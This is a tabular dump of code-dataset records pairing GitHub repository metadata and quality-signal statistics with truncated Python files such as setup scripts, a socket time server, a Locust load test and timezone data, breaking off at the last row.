hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6fac3a6d8305a94f90ea6399f77dad56e52cf204 | 718 | py | Python | final/160401005/server.py | hasan-se/blm304 | 893d15282497a426ff96b0c8b6c77d57c406742e | [
"Unlicense"
] | 1 | 2021-05-04T21:46:08.000Z | 2021-05-04T21:46:08.000Z | final/160401005/server.py | hasan-se/blm304 | 893d15282497a426ff96b0c8b6c77d57c406742e | [
"Unlicense"
] | null | null | null | final/160401005/server.py | hasan-se/blm304 | 893d15282497a426ff96b0c8b6c77d57c406742e | [
"Unlicense"
] | null | null | null | # Gizem Karagöl
import socket
import time
from datetime import datetime
import locale
locale.setlocale(locale.LC_ALL, '')
# Server bilgileri
ip = input("\ Server icin IP adresini giriniz...")
port = 142
utc= +3
try:
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((ip,port))
pr... | 19.944444 | 58 | 0.693593 | 93 | 718 | 5.322581 | 0.612903 | 0.056566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008389 | 0.169916 | 718 | 35 | 59 | 20.514286 | 0.822148 | 0.083565 | 0 | 0 | 0 | 0 | 0.141005 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.173913 | null | null | 0.130435 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fac654a94c7f0dac92a76bda9d9ffd43efe02f0 | 716 | py | Python | gorock/setup.py | abdallah-elsharif/WRock | 7cfd4bf29e932bf0048ee357c16cf6c021e7fb81 | [
"MIT"
] | 14 | 2022-03-13T19:51:24.000Z | 2022-03-18T07:36:39.000Z | gorock/setup.py | abdallah-elsharif/WRock | 7cfd4bf29e932bf0048ee357c16cf6c021e7fb81 | [
"MIT"
] | null | null | null | gorock/setup.py | abdallah-elsharif/WRock | 7cfd4bf29e932bf0048ee357c16cf6c021e7fb81 | [
"MIT"
] | 3 | 2022-03-14T05:58:06.000Z | 2022-03-14T11:46:47.000Z | from distutils.core import setup, Extension
def main():
setup(name="gorock",
version="1.0",
description="Python interface for GoRock Framework",
author="Abdallah Mohamed",
author_email="elsharifabdallah53@gmail.com",
ext_package="gorock",
ext_modules=[
... | 32.545455 | 69 | 0.501397 | 65 | 716 | 5.292308 | 0.569231 | 0.023256 | 0.05814 | 0.063953 | 0.156977 | 0.156977 | 0.156977 | 0.156977 | 0 | 0 | 0 | 0.00885 | 0.368715 | 716 | 22 | 70 | 32.545455 | 0.752212 | 0 | 0 | 0.1 | 0 | 0 | 0.287308 | 0.039052 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | true | 0 | 0.05 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6faf9ee740cb6ba20e46a01bd0ef267cc02aee1a | 361 | py | Python | setup.py | echiesse/django-check | eec90ffa5f519663cec551b50211f52304f73521 | [
"MIT"
] | 1 | 2019-02-14T20:55:55.000Z | 2019-02-14T20:55:55.000Z | setup.py | echiesse/django-check | eec90ffa5f519663cec551b50211f52304f73521 | [
"MIT"
] | null | null | null | setup.py | echiesse/django-check | eec90ffa5f519663cec551b50211f52304f73521 | [
"MIT"
] | null | null | null | from setuptools import setup
setup(
name='djangocheck',
version='0.2',
description='Deploy checker for Django',
url='https://github.com/echiesse/django-check',
author='Eric Chiesse',
author_email='techiesse@gmail.com',
license='MIT',
packages=['djangocheck'],
install_requires=[
... | 21.235294 | 51 | 0.642659 | 40 | 361 | 5.725 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006993 | 0.207756 | 361 | 16 | 52 | 22.5625 | 0.793706 | 0 | 0 | 0 | 0 | 0 | 0.357341 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.066667 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fc76fd4a33a0e3a3dc1b6ada325d03f2d2181de | 3,918 | py | Python | ssd/generate_tfrecords.py | simenvg/cloud_detection_framework | 97db2eb2cf3da91aa64ae90bf404adbd4744578b | [
"MIT"
] | 4 | 2020-06-26T06:47:26.000Z | 2022-01-10T07:46:54.000Z | ssd/generate_tfrecords.py | simenvg/cloud-detection-framework | 97db2eb2cf3da91aa64ae90bf404adbd4744578b | [
"MIT"
] | null | null | null | ssd/generate_tfrecords.py | simenvg/cloud-detection-framework | 97db2eb2cf3da91aa64ae90bf404adbd4744578b | [
"MIT"
] | 4 | 2020-05-13T08:23:48.000Z | 2021-04-19T07:58:47.000Z | """
Usage:
# From tensorflow/models/
# Create train data:
python generate_tfrecord.py --csv_input=data/train_labels.csv --output_path=train.record
# Create test data:
python generate_tfrecord.py --csv_input=data/test_labels.csv --output_path=test.record
"""
from __future__ import division
from __future__ i... | 36.277778 | 114 | 0.678407 | 517 | 3,918 | 4.916828 | 0.29207 | 0.056255 | 0.023603 | 0.027537 | 0.150275 | 0.100708 | 0.064123 | 0.031471 | 0 | 0 | 0 | 0.003783 | 0.190403 | 3,918 | 107 | 115 | 36.616822 | 0.797604 | 0.086779 | 0 | 0 | 1 | 0 | 0.131129 | 0.037826 | 0 | 0 | 0 | 0 | 0 | 1 | 0.049383 | false | 0 | 0.135802 | 0 | 0.222222 | 0.024691 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fc896abfff37e8917d14cda5b89d0e5e01ca0d2 | 5,587 | py | Python | util/loadtester/scripts/predict_rest_locust.py | lorello/seldon-core | 9509d41856071c72c419f7ec805c39be38a41249 | [
"Apache-2.0"
] | 1 | 2019-09-06T14:06:50.000Z | 2019-09-06T14:06:50.000Z | util/loadtester/scripts/predict_rest_locust.py | lorello/seldon-core | 9509d41856071c72c419f7ec805c39be38a41249 | [
"Apache-2.0"
] | null | null | null | util/loadtester/scripts/predict_rest_locust.py | lorello/seldon-core | 9509d41856071c72c419f7ec805c39be38a41249 | [
"Apache-2.0"
] | null | null | null | from locust.stats import RequestStats
from locust import HttpLocust, TaskSet, task, events
import os
import sys, getopt, argparse
from random import randint,random
import json
from locust.events import EventHook
import requests
import re
import time
import resource
import socket
import signal
from socket import error a... | 35.585987 | 208 | 0.624843 | 697 | 5,587 | 4.888092 | 0.286944 | 0.029058 | 0.034928 | 0.015263 | 0.261227 | 0.245377 | 0.215439 | 0.196654 | 0.182565 | 0.171412 | 0 | 0.018616 | 0.250045 | 5,587 | 156 | 209 | 35.814103 | 0.794511 | 0.032039 | 0 | 0.21374 | 0 | 0 | 0.151908 | 0.00389 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.114504 | null | null | 0.114504 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fc9ea9c8278e37de5e551ff2f4485db248d5af9 | 483 | py | Python | src/main/resources/pytz/zoneinfo/Africa/Bangui.py | TheEin/swagger-maven-plugin | cf93dce2d5c8d3534f4cf8c612b11e2d2313871b | [
"Apache-2.0"
] | 65 | 2015-11-14T13:46:01.000Z | 2021-08-14T05:54:04.000Z | lib/pytz/zoneinfo/Africa/Bangui.py | tjsavage/polymer-dashboard | 19bc467f1206613f8eec646b6f2bc43cc319ef75 | [
"CNRI-Python",
"Linux-OpenIB"
] | 13 | 2016-03-31T20:00:17.000Z | 2021-08-20T14:52:31.000Z | lib/pytz/zoneinfo/Africa/Bangui.py | tjsavage/polymer-dashboard | 19bc467f1206613f8eec646b6f2bc43cc319ef75 | [
"CNRI-Python",
"Linux-OpenIB"
] | 20 | 2015-03-18T08:41:37.000Z | 2020-12-18T02:58:30.000Z | '''tzinfo timezone information for Africa/Bangui.'''
from pytz.tzinfo import DstTzInfo
from pytz.tzinfo import memorized_datetime as d
from pytz.tzinfo import memorized_ttinfo as i
class Bangui(DstTzInfo):
'''Africa/Bangui timezone definition. See datetime.tzinfo for details'''
zone = 'Africa/Bangui'
_ut... | 21 | 76 | 0.6853 | 71 | 483 | 4.56338 | 0.521127 | 0.111111 | 0.12963 | 0.185185 | 0.179012 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075567 | 0.178054 | 483 | 22 | 77 | 21.954545 | 0.740554 | 0.233954 | 0 | 0 | 0 | 0 | 0.053073 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.214286 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fcd4cc59c939dbb1e9f92b20d707c1b834aac5a | 557 | py | Python | experiments/seg/lung/lung/inference/inference.py | jianliang90/MedCommon | 961384c7387cf8307275752d6399c6f9c8ce227c | [
"MIT"
] | 1 | 2021-12-16T15:06:59.000Z | 2021-12-16T15:06:59.000Z | experiments/seg/lung/lung/inference/inference.py | jianliang90/MedCommon | 961384c7387cf8307275752d6399c6f9c8ce227c | [
"MIT"
] | null | null | null | experiments/seg/lung/lung/inference/inference.py | jianliang90/MedCommon | 961384c7387cf8307275752d6399c6f9c8ce227c | [
"MIT"
] | null | null | null | import os
import sys
import numpy as np
ROOT = os.path.join(os.path.dirname(__file__), os.path.pardir, os.path.pardir, os.path.pardir, os.path.pardir, os.path.pardir)
sys.path.append(ROOT)
from segmentation.runner.train_seg import inference, train
from segmentation.options.train_options import TrainOptions
def load_... | 29.315789 | 126 | 0.755835 | 85 | 557 | 4.752941 | 0.517647 | 0.10396 | 0.148515 | 0.138614 | 0.148515 | 0.148515 | 0.148515 | 0.148515 | 0.148515 | 0.148515 | 0 | 0.037344 | 0.13465 | 557 | 18 | 127 | 30.944444 | 0.80083 | 0 | 0 | 0 | 0 | 0 | 0.096948 | 0.096948 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.357143 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
6fcf1b0862eb62bded2398a7938229ba7cc18771 | 5,142 | py | Python | ESP8266_WiFiAP/data/login.py | ban-ware/pyVFMS | 67edf5e56773c62255b487ce5f3cc7b78174a1fe | [
"MIT"
] | null | null | null | ESP8266_WiFiAP/data/login.py | ban-ware/pyVFMS | 67edf5e56773c62255b487ce5f3cc7b78174a1fe | [
"MIT"
] | null | null | null | ESP8266_WiFiAP/data/login.py | ban-ware/pyVFMS | 67edf5e56773c62255b487ce5f3cc7b78174a1fe | [
"MIT"
] | null | null | null | #Changelog:
# moved signup and login to separate functions to help readability.
# After user completes signup they are asked to then login using their credentials
# Once they enter their credentials, they are then logged in.
# Need to add method to hold the name of the current user (easy)
# Need to add to current fi... | 32.961538 | 170 | 0.714702 | 759 | 5,142 | 4.793149 | 0.353096 | 0.035184 | 0.049478 | 0.02199 | 0.074766 | 0.019791 | 0.019791 | 0.019791 | 0 | 0 | 0 | 0.017084 | 0.169 | 5,142 | 155 | 171 | 33.174194 | 0.834308 | 0.483469 | 0 | 0.108108 | 0 | 0 | 0.213272 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.067568 | false | 0.202703 | 0.054054 | 0 | 0.162162 | 0.162162 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
6fe0cda13e573981a316250d525da81e9a6ab861 | 1,404 | py | Python | plotting_utils/plot_target_dist.py | fnatanoy/toxic_comments_classification | 780939be69b7b7ed6e99a09a5247ca219e7c1fe4 | [
"MIT"
] | null | null | null | plotting_utils/plot_target_dist.py | fnatanoy/toxic_comments_classification | 780939be69b7b7ed6e99a09a5247ca219e7c1fe4 | [
"MIT"
] | null | null | null | plotting_utils/plot_target_dist.py | fnatanoy/toxic_comments_classification | 780939be69b7b7ed6e99a09a5247ca219e7c1fe4 | [
"MIT"
] | null | null | null | import matplotlib.pyplot
import numpy
class TargetDistPlotter:
def plot(
self,
targets,
):
targets = targets.sum()
labels = numpy.arange(0, len(targets)) + 1
matplotlib.pyplot.figure()
bars = matplotlib.pyplot.bar(
labels,
targets.values,... | 25.071429 | 61 | 0.468661 | 136 | 1,404 | 4.779412 | 0.551471 | 0.221538 | 0.087692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020885 | 0.420228 | 1,404 | 55 | 62 | 25.527273 | 0.777641 | 0 | 0 | 0.08 | 0 | 0 | 0.044872 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02 | false | 0 | 0.04 | 0 | 0.08 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fe6947b7ae2c382c8a4b18a36e46f4f59c7a19e | 506 | py | Python | experiments/T1T2/T1Sequence.py | calebfried/Qlab | a7e559b287b6eafec70d679da1ede95436b47505 | [
"Apache-2.0"
] | 28 | 2015-09-06T03:24:08.000Z | 2022-02-11T07:43:32.000Z | experiments/T1T2/T1Sequence.py | calebfried/Qlab | a7e559b287b6eafec70d679da1ede95436b47505 | [
"Apache-2.0"
] | 50 | 2015-01-15T23:50:28.000Z | 2017-07-20T13:20:35.000Z | experiments/T1T2/T1Sequence.py | calebfried/Qlab | a7e559b287b6eafec70d679da1ede95436b47505 | [
"Apache-2.0"
] | 12 | 2015-02-13T05:30:36.000Z | 2021-06-02T15:32:52.000Z | import argparse
import sys, os
parser = argparse.ArgumentParser()
parser.add_argument('pyqlabpath', help='path to PyQLab directory')
parser.add_argument('qubit', help='qubit name')
parser.add_argument('stop', help='longest delay in ns', type = float)
parser.add_argument('step', help='delay step in ns', type = float)
a... | 26.631579 | 70 | 0.749012 | 74 | 506 | 5.054054 | 0.527027 | 0.096257 | 0.181818 | 0.069519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020045 | 0.112648 | 506 | 18 | 71 | 28.111111 | 0.812918 | 0 | 0 | 0 | 0 | 0 | 0.18254 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.230769 | 0 | 0.230769 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fe88234638e36629812deb360d006ce73a544b8 | 9,048 | py | Python | tests/family_tests.py | xZise/pywikibot-core | f0c07086de53fdb90446f938adf2331128412480 | [
"MIT"
] | null | null | null | tests/family_tests.py | xZise/pywikibot-core | f0c07086de53fdb90446f938adf2331128412480 | [
"MIT"
] | null | null | null | tests/family_tests.py | xZise/pywikibot-core | f0c07086de53fdb90446f938adf2331128412480 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Tests for the family module."""
#
# (C) Pywikibot team, 2014
#
# Distributed under the terms of the MIT license.
#
from __future__ import unicode_literals
__version__ = '$Id: 6fe88234638e36629812deb360d006ce73a544b8 $'
from pywikibot.family import Family
from pywikibot.exceptions import Un... | 39.33913 | 95 | 0.639147 | 1,073 | 9,048 | 5.238583 | 0.191053 | 0.07472 | 0.024195 | 0.035581 | 0.536026 | 0.458459 | 0.407223 | 0.368084 | 0.272727 | 0.229319 | 0 | 0.009935 | 0.232427 | 9,048 | 229 | 96 | 39.510917 | 0.799424 | 0.171088 | 0 | 0.248276 | 0 | 0 | 0.157695 | 0.062237 | 0 | 0 | 0 | 0 | 0.42069 | 1 | 0.117241 | false | 0.006897 | 0.034483 | 0 | 0.193103 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fea001e9c603f49984eb5cbae6b4743abfeb1d6 | 1,028 | py | Python | core/commands/info.py | cclauss/koadic | 46e4b908519c23d21c44f5d615e661bcbe74642a | [
"Apache-2.0"
] | 14 | 2017-11-27T15:17:20.000Z | 2019-07-30T11:16:32.000Z | core/commands/info.py | cclauss/koadic | 46e4b908519c23d21c44f5d615e661bcbe74642a | [
"Apache-2.0"
] | null | null | null | core/commands/info.py | cclauss/koadic | 46e4b908519c23d21c44f5d615e661bcbe74642a | [
"Apache-2.0"
] | 12 | 2017-11-27T09:04:58.000Z | 2019-12-21T02:51:05.000Z | DESCRIPTION = "shows the current module options"
def autocomplete(shell, line, text, state):
return None
def help(shell):
shell.print_plain("")
shell.print_plain("Use %s for advanced options" % (shell.colors.colorize("info -a", shell.colors.BOLD)))
shell.print_plain("")
def execute(shell, cmd):
e... | 32.125 | 108 | 0.613813 | 131 | 1,028 | 4.755725 | 0.435115 | 0.128411 | 0.192616 | 0.105939 | 0.207063 | 0.096308 | 0 | 0 | 0 | 0 | 0 | 0.019324 | 0.194553 | 1,028 | 31 | 109 | 33.16129 | 0.733092 | 0 | 0 | 0.272727 | 0 | 0 | 0.15856 | 0.02821 | 0 | 0 | 0 | 0 | 0 | 1 | 0.136364 | false | 0 | 0 | 0.045455 | 0.181818 | 0.363636 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6fea18eb93e67bc3a2c3f560d3286e02087d1d70 | 5,304 | py | Python | multimaya/launch.py | theodox/multimaya | 1a0f0aea2ff28d84149fff1abdd256038caa27b9 | [
"MIT"
] | 5 | 2019-08-24T16:04:40.000Z | 2021-01-16T06:29:55.000Z | multimaya/launch.py | theodox/multimaya | 1a0f0aea2ff28d84149fff1abdd256038caa27b9 | [
"MIT"
] | null | null | null | multimaya/launch.py | theodox/multimaya | 1a0f0aea2ff28d84149fff1abdd256038caa27b9 | [
"MIT"
] | null | null | null | import subprocess
import inspect
import tempfile
import traceback
import os
import sys
import types
import multiprocessing
import pickle
from mayapy import mayapy_executable
SCRIPT_TEMPLATE = '''# multimaya launcher shim
import os
import sys
import traceback
__keep__ = {keep_script}
if __name__ == '__main__':
t... | 25.873171 | 97 | 0.671946 | 633 | 5,304 | 5.415482 | 0.21169 | 0.037923 | 0.016336 | 0.019837 | 0.633606 | 0.626896 | 0.551634 | 0.50846 | 0.494457 | 0.462952 | 0 | 0.002369 | 0.204186 | 5,304 | 204 | 98 | 26 | 0.809761 | 0 | 0 | 0.657343 | 0 | 0 | 0.401067 | 0.136494 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.174825 | null | null | 0.062937 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6ff14cf4e67b330a718989d0628800b0109440ae | 1,247 | py | Python | Step1-PythonBasic/Practices/yuxq/26-30/ex28_1.py | Jumpers/MysoftAutoTest | 50efc385a96532fc0777061d6c5e7201a4991f04 | [
"Apache-2.0"
] | null | null | null | Step1-PythonBasic/Practices/yuxq/26-30/ex28_1.py | Jumpers/MysoftAutoTest | 50efc385a96532fc0777061d6c5e7201a4991f04 | [
"Apache-2.0"
] | null | null | null | Step1-PythonBasic/Practices/yuxq/26-30/ex28_1.py | Jumpers/MysoftAutoTest | 50efc385a96532fc0777061d6c5e7201a4991f04 | [
"Apache-2.0"
] | null | null | null | #coding=utf-8
i=0 #统计回答正确的个数
def Boolean_expressions_to_determine(expressions):
#1表示 True,0表示False
k=0
c=expressions
a=eval(expressions) #将字符串转换成表达式
b=input("%r is (1 or 0):" %c )
if b== a:
print "YES,you are right!"
k+=1
elif (b!=0) and (b!=1):
k="break"
... | 33.702703 | 101 | 0.46672 | 193 | 1,247 | 2.984456 | 0.310881 | 0.020833 | 0.026042 | 0.100694 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073373 | 0.322374 | 1,247 | 36 | 102 | 34.638889 | 0.608284 | 0.038492 | 0 | 0.060606 | 0 | 0 | 0.479724 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6ff61bcc5e65f18562196ae1f30ca92f1d3728b6 | 11,171 | py | Python | scripts.py | PrimerAI/text-summarization | e22e77a70d32c51b83737242b6fed2eebbfdd51f | [
"Apache-2.0"
] | 3 | 2018-11-08T14:55:29.000Z | 2019-09-10T02:44:15.000Z | scripts.py | PrimerAI/text-summarization | e22e77a70d32c51b83737242b6fed2eebbfdd51f | [
"Apache-2.0"
] | null | null | null | scripts.py | PrimerAI/text-summarization | e22e77a70d32c51b83737242b6fed2eebbfdd51f | [
"Apache-2.0"
] | 1 | 2018-09-21T13:45:53.000Z | 2018-09-21T13:45:53.000Z | import reproducible
reproducible.add_non_git_file('results/articles/article_0.txt')
reproducible.write_fingerprint()
import json
import numpy as np
import os
import spacy
import string
import struct
import sys
from sklearn.decomposition.truncated_svd import TruncatedSVD
from tensorflow.core.example import example_pb2
... | 32.473837 | 99 | 0.587056 | 1,393 | 11,171 | 4.494616 | 0.217516 | 0.014375 | 0.017569 | 0.016291 | 0.217058 | 0.142789 | 0.106373 | 0.106373 | 0.081457 | 0.061332 | 0 | 0.020114 | 0.247874 | 11,171 | 343 | 100 | 32.568513 | 0.725065 | 0.048698 | 0 | 0.110204 | 0 | 0 | 0.067938 | 0.011919 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.004082 | 0.065306 | null | null | 0.065306 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6ffa935c1587cef2e71fada3fa61af9856d914ae | 1,558 | py | Python | api/models/team_member_map.py | SE-131-JSONx/jsonx-backend | f25b497898f9737e27acc6310d2872635285cc0e | [
"MIT"
